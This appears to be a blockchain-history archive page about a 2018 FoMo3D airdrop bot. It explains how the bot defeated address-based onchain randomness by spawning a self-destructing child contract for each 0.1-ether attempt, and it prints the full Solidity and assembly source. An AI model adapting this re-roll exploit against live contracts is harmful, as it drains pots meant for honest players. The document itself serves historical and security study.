August 2018 FoMo3D airdrop bot: every call spawns a throwaway contract that buys exactly 0.1 ether of keys, withdraws, and self destructs in the same transaction.
Historical Significance
FoMo3D was the summer of 2018 in one contract, and this is the machinery that grew around it within weeks. The interesting part is not that someone automated buying, it is what the automation had to do to work. The lottery's randomness came from the buyer's address, so the bot manufactures buyers. Creating and destroying a contract per attempt was cheaper than losing the draw, which tells you what the airdrop pot was worth at the time.
It is also an early, unusually clear case of onchain pseudorandomness being defeated rather than predicted. Nothing here guesses the hash. It simply pays to re-roll, and the game had no way to tell a fresh contract from a new player.
Key Facts
Description
One function, execute, and a hardcoded blob. The blob is the creation code of a second contract, written into memory word by word and handed to CREATE with whatever ether the call carried. That child contract's constructor calls buyXid on FoMo3Dlong at 0xa62142888aba8370742be823c1782d17a0389da1 with affiliate id 7172 and team 1, calls withdraw on the same contract, then self destructs to tx.origin. It exists for the length of one transaction.
The reason for the child is the airdrop. FoMo3D ran a side lottery on every purchase at or above 0.1 ether, and the draw was decided by hashing block data together with the buyer's address. A player has one address. A contract that creates a fresh contract for every attempt has a new address every time, and the observed calls are all exactly 0.1 ether, the minimum that qualifies.
Access is by tx.origin, not msg.sender, checked against five addresses compiled into the code. One of them is the address that deployed these. In practice they were not called directly at all: a separate controller contract created them in bulk and then called through them, which is why tx.origin rather than msg.sender is the thing being checked.
Source Verified
Byzantium Era
First Metropolis hard fork. Added zk-SNARK precompiles, REVERT opcode, and staticcall.
Bytecode Overview
Verified Source Available
This contract has verified source code.
View Verification ProofShow source code (Solidity)
// Submitted by EthereumHistory (ethereumhistory.com)
pragma solidity ^0.4.24;
contract Fomo3dAirdropBot {
function execute(address _target, uint256 _value) public payable {
auth();
assembly {
mstore(0x00, 0x60806040526040516020806100f583398101604081815291517f8f38f3090000)
mstore(0x20, 0x0000000000000000000000000000000000000000000000000000825260048201)
mstore(0x40, 0x81905260016024830152915173a62142888aba8370742be823c1782d17a0389d)
mstore(0x60, 0xa191638f38f309913491604480820192600092909190829003018185885af193)
mstore(0x80, 0x505050505073a62142888aba8370742be823c1782d17a0389da1600160a06002)
mstore(0xa0, 0x0a0316633ccfd60b6040518163ffffffff167c01000000000000000000000000)
mstore(0xc0, 0x0000000000000000000000000000000002815260040160006040518083038160)
mstore(0xe0, 0x00875af1925050505032600160a060020a0316ff000000000000000000000000)
mstore(0x100, 0x000000000000000000000000000000000000001c040000000000000000000000)
pop(create(callvalue, 0x00, 0x115))
}
}
function auth() internal view {
if (tx.origin != 0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3)
if (tx.origin != 0xae587866822dced0c4b5a0b534ec025b52c4acd0)
if (tx.origin != 0x16e21b702ea2ee0f4dc40e877099c88acd3d27d5)
if (tx.origin != 0x5167350d082c9ec48ed6fd4c694dea7361269705)
if (tx.origin != 0x820d115b9c982260edaa1741812d1f85132736b5)
revert();
}
function () public payable {
}
}External Links
Related contracts
Fomo3dAirdropBot
Same deployerAugust 2018 FoMo3D airdrop bot: every call spawns a throwaway contract that buys exactly 0.1 ether of keys, withdraws, and self destructs in the same transaction.
0xde847d...80a638July 21, 2018Fomo3dAirdropBot
Same deployerAugust 2018 FoMo3D airdrop bot: every call spawns a throwaway contract that buys exactly 0.1 ether of keys, withdraws, and self destructs in the same transaction.
0x767966...dc964cJuly 21, 2018Fomo3dAirdropBot
Same deployerAugust 2018 FoMo3D airdrop bot: every call spawns a throwaway contract that buys exactly 0.1 ether of keys, withdraws, and self destructs in the same transaction.
0x2c542d...818f3dJuly 21, 2018Fomo3dAirdropBot
Same deployerAugust 2018 FoMo3D airdrop bot: every call spawns a throwaway contract that buys exactly 0.1 ether of keys, withdraws, and self destructs in the same transaction.
0x82d3fb...0243eaJuly 21, 2018Fomo3dAirdropBot
Same deployerAugust 2018 FoMo3D airdrop bot: every call spawns a throwaway contract that buys exactly 0.1 ether of keys, withdraws, and self destructs in the same transaction.
0x150f6a...82ab75July 21, 2018Fomo3dAirdropBot
Same deployerAugust 2018 FoMo3D airdrop bot: every call spawns a throwaway contract that buys exactly 0.1 ether of keys, withdraws, and self destructs in the same transaction.
0xf8ba41...be15a4July 21, 2018